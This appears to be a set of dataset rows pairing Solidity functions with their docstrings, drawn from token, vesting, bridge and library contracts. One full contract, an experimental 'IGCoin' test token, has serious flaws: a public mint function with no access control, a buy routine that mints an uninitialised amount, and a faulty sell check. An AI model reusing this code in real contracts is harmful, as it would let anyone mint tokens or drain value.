if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0
? checkpoints[srcRep][srcRepNum - 1].votes
: 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0
? checkpoints[dstRep][dstRepNum - 1].votes
: 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
) internal {
uint256 blockNumber = block.number;
if (
nCheckpoints > 0 &&
checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber
) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(
blockNumber,
newVotes
);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {
_moveDelegates(_delegates[from], _delegates[to], amount);
}
// Some ERC20 functions
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
}
|
decrease old representative increase new representative
|
function _moveDelegates(
address srcRep,
address dstRep,
uint256 amount
) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0
? checkpoints[srcRep][srcRepNum - 1].votes
: 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0
? checkpoints[dstRep][dstRepNum - 1].votes
: 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
| 13,081,433
|
./full_match/1/0x5F02134C35449D9b6505723A56b02581356320fB/sources/contracts/PresaleVesting/Ibo.sol
|
Set the id of the curve related to the bond, 0 for square root, 1 for the logarithm and 2 for square and 3 linear bondId uint256 newComposedFunction uint8/
|
function setComposedFunction(uint256 bondId, uint8 newComposedFunction) external onlyOwner {
require(newComposedFunction < 4, "INVALID_COMPOSED_FUNCTION");
bondsParams[bondId].composedFunction = newComposedFunction;
}
| 8,467,491
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/// @title Contract class
/// @author Infinigon Group
/// @notice Contract class defines the name of the contract
contract Contract {
bytes32 public Name;
/// @notice Initializes contract with contract name
/// @param _contractName The name to be given to the contract
constructor(bytes32 _contractName) public {
Name = _contractName;
}
function() public payable { }
}
// ----------------------------------------------------------------------------
// ERC20 Default Token
// ----------------------------------------------------------------------------
contract DeaultERC20 is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DFLT";
name = "Default";
decimals = 18;
}
// ------------------------------------------------------------------------
// Total supply
// ---------------------------------------------------------allowance---------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
}
// ----------------------------------------------------------------------------
// IGCoin
// ----------------------------------------------------------------------------
contract IGCoin is DeaultERC20 {
using SafeMath for uint;
address public reserveAddress; // wei
uint256 public ask;
uint256 public bid;
uint16 public constant reserveRate = 10;
bool public initialSaleComplete;
uint256 constant private ICOAmount = 2e6*1e18; // in aToken
uint256 constant private ICOask = 1*1e18; // in wei per Token
uint256 constant private ICObid = 0; // in wei per Token
uint256 constant private InitialSupply = 1e6 * 1e18; // Number of tokens (aToken) minted when contract created
uint256 public debugVal;
uint256 public debugVal2;
uint256 public debugVal3;
uint256 public debugVal4;
uint256 constant private R = 12500000; // matlab R=1.00000008, this R=1/(1.00000008-1)
uint256 constant private P = 50; // precision
uint256 constant private lnR = 12500001; // 1/ln(R) (matlab R)
uint256 constant private S = 1e8; // s.t. S*R = integer
uint256 constant private RS = 8; // 1.00000008*S-S=8
uint256 constant private lnS = 18; // ln(S) = 18
/* Constants to support ln() */
uint256 private constant ONE = 1;
uint32 private constant MAX_WETokenHT = 1000000;
uint8 private constant MIN_PRECISION = 32;
uint8 private constant MAX_PRECISION = 127;
uint256 private constant FIXED_1 = 0x080000000000000000000000000000000;
uint256 private constant FIXED_2 = 0x100000000000000000000000000000000;
uint256 private constant MAX_NUM = 0x1ffffffffffffffffffffffffffffffff;
uint256 private constant FIXED_3 = 0x07fffffffffffffffffffffffffffffff;
uint256 private constant LN2_MANTISSA = 0x2c5c85fdf473de6af278ece600fcbda;
uint8 private constant LN2_EXPONENT = 122;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "IG17";
name = "theTestToken001";
decimals = 18;
initialSaleComplete = false;
_totalSupply = InitialSupply; // Keep track of all IG Coins created, ever
balances[owner] = _totalSupply; // Give the creator all initial IG coins
emit Transfer(address(0), owner, _totalSupply);
reserveAddress = new Contract("Reserve"); // Create contract to hold reserve
quoteAsk();
quoteBid();
}
/// @notice Deposits '_value' in wei to the reserve address
/// @param _value The number of wei to be transferred to the
/// reserve address
function deposit(uint256 _value) private {
reserveAddress.transfer(_value);
balances[reserveAddress] += _value;
}
/// @notice Withdraws '_value' in wei from the reserve address
/// @param _value The number of wei to be transferred from the
/// reserve address
function withdraw(uint256 _value) private pure {
// TODO
_value = _value;
}
/// @notice Transfers '_value' in wei to the '_to' address
/// @param _to The recipient address
/// @param _value The amount of wei to transfer
function transfer(address _to, uint256 _value) public returns (bool success) {
/* Check if sender has balance and for overflows */
require(balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]);
/* Check if amount is nonzero */
require(_value > 0);
/* Add and subtract new balances */
balances[msg.sender] -= _value;
balances[_to] += _value;
/* Notify anyone listening that this transfer took place */
emit Transfer(msg.sender, _to, _value);
return true;
}
/// @notice `freeze? Prevent | Allow` `target` from sending
/// & receiving tokens
/// @param _target Address to be frozen
/// @param _freeze either to freeze it or not
function freezeAccount(address _target, bool _freeze) public onlyOwner {
frozenAccount[_target] = _freeze;
emit FrozenFunds(_target, _freeze);
}
/// @notice Calculates the ask price in wei per aToken based on the
/// current reserve amount
/// @return Price of aToken in wei
function quoteAsk() public returns (uint256) {
if(initialSaleComplete)
{
ask = fracExp(1e18, R, (_totalSupply/1e18)+1, P);
}
else
{
ask = ICOask;
}
return ask;
}
/// @notice Calculates the bid price in wei per aToken based on the
/// current reserve amount
/// @return Price of aToken in wei
function quoteBid() public returns (uint256) {
if(initialSaleComplete)
{
bid = fracExp(1e18, R, (_totalSupply/1e18)-1, P);
}
else
{
bid = ICObid;
}
return bid;
}
/// @notice Buys aToken in exchnage for wei at the current ask price
/// @return refunds remainder of wei from purchase
function buy() public payable returns (uint256 amount){
uint256 refund = 0;
debugVal = 0;
if(initialSaleComplete)
{
uint256 units_to_buy = 0;
uint256 etherRemaining = msg.value; // (wei)
uint256 etherToReserve = 0; // (wei)
debugVal = fracExp(S, R, (_totalSupply/1e18),P);
debugVal2 = RS*msg.value;
debugVal3 = RS*msg.value/1e18 + fracExp(S, R, (_totalSupply/1e18),P);
debugVal4 = (ln(debugVal3,1)-lnS);//*lnR-1;
units_to_buy = debugVal4;
reserveAddress.transfer(etherToReserve); // send the ask amount to the reserve
mintToken(msg.sender, amount); // Mint the coin
refund = etherRemaining;
msg.sender.transfer(refund); // Issue refund
}
else
{
// TODO don't sell more than the ICO amount if one transaction is huge
ask = ICOask; // ICO sale price (wei/Token)
amount = 1e18*msg.value / ask; // calculates the amount of aToken (1e18*wei/(wei/Token))
refund = msg.value - (amount*ask/1e18); // calculate refund (wei)
// TODO test for overflow attack
reserveAddress.transfer(msg.value - refund); // send the full amount of the sale to reserve
msg.sender.transfer(refund); // Issue refund
balances[reserveAddress] += msg.value-refund; // All other addresses hold Token Coin, reserveAddress represents ether
mintToken(msg.sender, amount); // Mint the coin (aToken)
if(_totalSupply >= ICOAmount)
{
initialSaleComplete = true;
}
}
return amount; // ends function and returns
}
/// @notice Sells aToken in exchnage for wei at the current bid
/// price, reduces resreve
/// @return Proceeds of wei from sale of aToken
function sell(uint amount) public returns (uint revenue){
require(initialSaleComplete);
require(balances[msg.sender] >= bid); // checks if the sender has enough to sell
balances[reserveAddress] += amount; // adds the amount to owner's balance
balances[msg.sender] -= amount; // subtracts the amount from seller's balance
revenue = amount * bid;
require(msg.sender.send(revenue)); // sends ether to the seller: it's important to do this last to prevent recursion attacks
emit Transfer(msg.sender, reserveAddress, amount); // executes an event reflecting on the change
return revenue; // ends function and returns
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) public {
balances[target] += mintedAmount;
_totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice Compute '_k * (1+1/_q) ^ _n', with precision '_p'
/// @dev The higher the precision, the higher the gas cost. It should be
/// something around the log of 'n'. When 'p == n', the
/// precision is absolute (sans possible integer overflows).
/// Much smaller values are sufficient to get a great approximation.
/// @param _k input param k
/// @param _q input param q
/// @param _n input param n
/// @param _p input param p
/// @return '_k * (1+1/_q) ^ _n'
function fracExp(uint256 _k, uint256 _q, uint256 _n, uint256 _p) public pure returns (uint256) {
uint256 s = 0;
uint256 N = 1;
uint256 B = 1;
for (uint256 i = 0; i < _p; ++i){
s += _k * N / B / (_q**i);
N = N * (_n-i);
B = B * (i+1);
}
return s;
}
/// @notice Compute the natural logarithm
/// @dev This functions assumes that the numerator is larger than or equal
/// to the denominator, because the output would be negative otherwise.
/// @param _numerator is a value between 1 and 2 ^ (256 - MAX_PRECISION) - 1
/// @param _denominator is a value between 1 and 2 ^ (256 - MAX_PRECISION) - 1
/// @return is a value between 0 and floor(ln(2 ^ (256 - MAX_PRECISION) - 1) * 2 ^ MAX_PRECISION)
function ln(uint256 _numerator, uint256 _denominator) internal pure returns (uint256) {
assert(_numerator <= MAX_NUM);
uint256 res = 0;
uint256 x = _numerator * FIXED_1 / _denominator;
// If x >= 2, then we compute the integer part of log2(x), which is larger than 0.
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count; // now x < 2
res = count * FIXED_1;
}
// If x > 1, then we compute the fraction part of log2(x), which is larger than 0.
if (x > FIXED_1) {
for (uint8 i = MAX_PRECISION; i > 0; --i) {
x = (x * x) / FIXED_1; // now 1 < x < 4
if (x >= FIXED_2) {
x >>= 1; // now 1 < x < 2
res += ONE << (i - 1);
}
}
}
return ((res * LN2_MANTISSA) >> LN2_EXPONENT) / FIXED_3;
}
/// @notice Compute the largest integer smaller than or equal to
/// the binary logarithm of the input
/// @param _n Operand of the function
/// @return Floor(Log2(_n))
function floorLog2(uint256 _n) internal pure returns (uint8) {
uint8 res = 0;
if (_n < 256) {
// At most 8 iterations
while (_n > 1) {
_n >>= 1;
res += 1;
}
}
else {
// Exactly 8 iterations
for (uint8 s = 128; s > 0; s >>= 1) {
if (_n >= (ONE << s)) {
_n >>= s;
res |= s;
}
}
}
return res;
}
}
|
Buys aToken in exchnage for wei at the current ask price return refunds remainder of wei from purchase TODO don't sell more than the ICO amount if one transaction is huge TODO test for overflow attack
|
function buy() public payable returns (uint256 amount){
uint256 refund = 0;
debugVal = 0;
if(initialSaleComplete)
{
uint256 units_to_buy = 0;
debugVal = fracExp(S, R, (_totalSupply/1e18),P);
debugVal2 = RS*msg.value;
debugVal3 = RS*msg.value/1e18 + fracExp(S, R, (_totalSupply/1e18),P);
units_to_buy = debugVal4;
refund = etherRemaining;
}
else
{
if(_totalSupply >= ICOAmount)
{
initialSaleComplete = true;
}
}
}
| 12,804,022
|
./partial_match/1/0x7119e8fe4a050CC267d5830F99adb309430F8a85/sources/Mogladys.sol
|
Returns the value stored at position `index` in the set. O(1). Note that there are no guarantees on the ordering of values inside the array, and it may change when more values are added or removed. Requirements: - `index` must be strictly less than {length}./
|
function _at(
Set storage set,
uint256 index
) private view returns (bytes32) {
require(
set._values.length > index,
"EnumerableSet: index out of bounds"
);
return set._values[index];
}
| 3,717,259
|
./full_match/40/0xBe324Bf31dA002E9E1fFDeB31947eeb945aeCA6e/sources/src/Facets/MultichainFacet.sol
|
Performs a swap before bridging via Multichain _bridgeData the core information needed for bridging _swapData an array of swap related data for performing swaps before bridging _multichainData data specific to Multichain
|
function swapAndStartBridgeTokensViaMultichain(
IRubic.BridgeData memory _bridgeData,
LibSwap.SwapData[] calldata _swapData,
MultichainData memory _multichainData
)
external
payable
nonReentrant
refundExcessNative(payable(_bridgeData.refundee))
containsSourceSwaps(_bridgeData)
doesNotContainDestinationCalls(_bridgeData)
validateBridgeData(_bridgeData)
{
Storage storage s = getStorage();
if (!s.allowedRouters[_multichainData.router]) revert InvalidRouter();
_bridgeData.minAmount = _depositAndSwap(
_bridgeData.transactionId,
_bridgeData.minAmount,
_swapData,
_bridgeData.integrator,
payable(_bridgeData.refundee)
);
_startBridge(_bridgeData, _multichainData);
}
| 9,553,741
|
pragma solidity ^0.6.6;
import "./SafeMath.sol";
import "./Roles.sol";
import "./Address.sol";
import "./BAC001Holder.sol";
contract IssuerRole {
using Roles for Roles.Role;
event IssuerAdded(address indexed account);
event IssuerRemoved(address indexed account);
Roles.Role private _issuers;
constructor () internal {
_addIssuer(msg.sender);
}
modifier onlyIssuer() {
require(isIssuer(msg.sender), "IssuerRole: caller does not have the Issuer role");
_;
}
function isIssuer(address account) public view returns (bool) {
return _issuers.has(account);
}
function addIssuer(address account) public onlyIssuer {
_addIssuer(account);
}
function renounceIssuer() public {
_removeIssuer(msg.sender);
}
function _addIssuer(address account) internal {
_issuers.add(account);
emit IssuerAdded(account);
}
function _removeIssuer(address account) internal {
_issuers.remove(account);
emit IssuerRemoved(account);
}
}
contract SuspenderRole {
using Roles for Roles.Role;
event SuspenderAdded(address indexed account);
event SuspenderRemoved(address indexed account);
Roles.Role private _suspenders;
constructor () internal {
_addSuspender(msg.sender);
}
modifier onlySuspender() {
require(isSuspender(msg.sender), "SuspenderRole: caller does not have the Suspender role");
_;
}
function isSuspender(address account) public view returns (bool) {
return _suspenders.has(account);
}
function addSuspender(address account) public onlySuspender {
_addSuspender(account);
}
function renounceSuspender() public {
_removeSuspender(msg.sender);
}
function _addSuspender(address account) internal {
_suspenders.add(account);
emit SuspenderAdded(account);
}
function _removeSuspender(address account) internal {
_suspenders.remove(account);
emit SuspenderRemoved(account);
}
}
contract Suspendable is SuspenderRole {
event Suspended(address account);
event UnSuspended(address account);
bool private _suspended;
constructor () internal {
_suspended = false;
}
/**
* @return True if the contract is suspended, false otherwise.
*/
function suspended() public view returns (bool) {
return _suspended;
}
/**
* @dev Modifier to make a function callable only when the contract is not suspended.
*/
modifier whenNotSuspended() {
require(!_suspended, "Suspendable: suspended");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is suspended.
*/
modifier whenSuspended() {
require(_suspended, "Suspendable: not suspended");
_;
}
/**
* @dev Called by a Suspender to suspend, triggers stopped state.
*/
function suspend() public onlySuspender whenNotSuspended {
_suspended = true;
emit Suspended(msg.sender);
}
/**
* @dev Called by a Suspender to unSuspend, returns to normal state.
*/
function unSuspend() public onlySuspender whenSuspended {
_suspended = false;
emit UnSuspended(msg.sender);
}
}
/**
* @title Standard BAC001 asset
*/
contract BAC001 is IssuerRole, Suspendable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
uint256 private _totalAmount;
string private _description;
string private _shortName;
uint8 private _minUnit;
// Equals to `bytes4(keccak256("onBAC001Received(address,address,uint256,bytes)"))`
bytes4 private constant _BAC001_RECEIVED = 0xc73d16ae;
event Send( address indexed from, address indexed to, uint256 value, bytes data);
event Approval( address indexed owner, address indexed spender, uint256 value);
constructor(string memory description, string memory shortName, uint8 minUnit, uint256 totalAmount) public {
_description = description;
_shortName = shortName;
_minUnit = minUnit;
_issue(msg.sender, totalAmount * (10 ** uint256(minUnit)), "");
}
function totalAmount() public view returns (uint256) {
return _totalAmount;
}
function balance(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of assets that an owner allowed to a spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function send(address to, uint256 value, bytes memory data) public whenNotSuspended {
_send(msg.sender, to, value, data);
require(_checkOnBAC001Received(msg.sender, to, value, data), "BAC001: send to non BAC001Receiver implementer");
}
// function safeSend(address to, uint256 value, bytes data) public whenNotSuspended {
// send(to, value, data);
// require(_checkOnBAC001Received(msg.sender, to, value, data), "BAC001: send to non BAC001Receiver implementer");
// }
/**
* @dev Approve the passed address to spend the specified amount of assets on behalf of msg.sender.
*/
function approve(address spender, uint256 value) public whenNotSuspended returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Send assets from one address to another.
*/
function sendFrom(address from, address to, uint256 value, bytes memory data) public whenNotSuspended {
_send(from, to, value, data);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
//add
require(_checkOnBAC001Received(from, to, value, data), "BAC001: send to non BAC001Receiver implementer");
}
//// safe todo
// function safeSendFrom(address from, address to, uint256 value, bytes data) public whenNotSuspended {
// sendFrom(from, to, value, data);
// require(_checkOnBAC001Received(from, to, value, data), "BAC001: send to non BAC001Receiver implementer");
// }
function batchSend(address[] memory to, uint256[] memory values, bytes memory data) public whenNotSuspended {
// MUST Throw on errors
require(to.length == values.length, "to and values array lenght must match.");
for (uint256 i = 0; i < to.length; ++i) {
require(to[i] != address(0x0), "destination address must be non-zero.");
send(to[i], values[i], data);
}
}
function _checkOnBAC001Received(address from, address to, uint256 value, bytes memory data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IBAC001Receiver(to).onBAC001Received(from, to, value, data);
return (retval == _BAC001_RECEIVED);
}
/**
* @dev Increase the amount of assets that an owner allowed to a spender.
*/
function increaseAllowance(address spender, uint256 addedValue) public whenNotSuspended returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of assets that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotSuspended returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function destroy(uint256 value, bytes memory data) public {
_destroy(msg.sender, value, data);
}
/**
* @dev Burns a specific amount of assets from the target address and decrements allowance.
*/
function destroyFrom(address from, uint256 value, bytes memory data) public {
_destroyFrom(from, value, data);
}
function description() public view returns (string memory) {
return _description;
}
/**
* @return the shortName of the asset.
*/
function shortName() public view returns (string memory) {
return _shortName;
}
/**
* @return the number of minUnit of the asset.
*/
function minUnit() public view returns (uint8) {
return _minUnit;
}
function issue(address to, uint256 value, bytes memory data) public onlyIssuer returns (bool) {
_issue(to, value, data);
return true;
}
/**
* @dev Send asset for a specified addresses.
*/
function _send(address from, address to, uint256 value, bytes memory data) internal {
require(to != address(0), "BAC001: send to the zero address");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Send( from, to, value, data);
}
/**
* @dev Internal function that issues an amount of the asset and assigns it to
*/
function _issue(address account, uint256 value, bytes memory data) internal {
require(account != address(0), "BAC001: issue to the zero address");
_totalAmount = _totalAmount.add(value);
_balances[account] = _balances[account].add(value);
emit Send( address(0), account, value, data);
}
/**
* @dev Internal function that destroys an amount of the asset of a given
*/
function _destroy(address account, uint256 value, bytes memory data) internal {
require(account != address(0), "BAC001: destroy from the zero address");
_totalAmount = _totalAmount.sub(value);
_balances[account] = _balances[account].sub(value);
emit Send( account, address(0), value, data);
}
/**
* @dev Approve an address to spend another addresses' assets.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "BAC001: approve from the zero address");
require(spender != address(0), "BAC001: approve to the zero address");
_allowed[owner][spender] = value;
emit Approval( owner, spender, value);
}
/**
* @dev Internal function that destroys an amount of the asset of a given
*/
function _destroyFrom(address account, uint256 value, bytes memory data) internal {
_destroy(account, value, data);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
|
Internal function that issues an amount of the asset and assigns it to/
|
function _issue(address account, uint256 value, bytes memory data) internal {
require(account != address(0), "BAC001: issue to the zero address");
_totalAmount = _totalAmount.add(value);
_balances[account] = _balances[account].add(value);
emit Send( address(0), account, value, data);
}
| 937,847
|
./full_match/80001/0xdCdf0B3d68A4E11eF2703b87020dC5a9c66babf7/sources/@superfluid-finance/ethereum-contracts/contracts/apps/SuperTokenV1Library.sol
|
Creates flow as an operator without userData token The token to flow sender The sender of the flow receiver The receiver of the flow flowRate The desired flowRate/
|
function createFlowFrom(
ISuperToken token,
address sender,
address receiver,
int96 flowRate
) internal returns (bool) {
return createFlowFrom(token, sender, receiver, flowRate, new bytes(0));
}
| 855,958
|
./full_match/5/0x393f13d4A7A82c71d0926751CF897E1a1c588C35/sources/contracts/data/DataStore.sol
|
set the int array for the given key key the key of the int array value the value of the int array
|
function setIntArray(bytes32 key, int256[] memory value) external onlyController {
intArrayValues[key] = value;
}
| 11,589,377
|
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.5.2;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/access/Roles.sol
pragma solidity ^0.5.2;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
// File: openzeppelin-solidity/contracts/access/roles/PauserRole.sol
pragma solidity ^0.5.2;
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
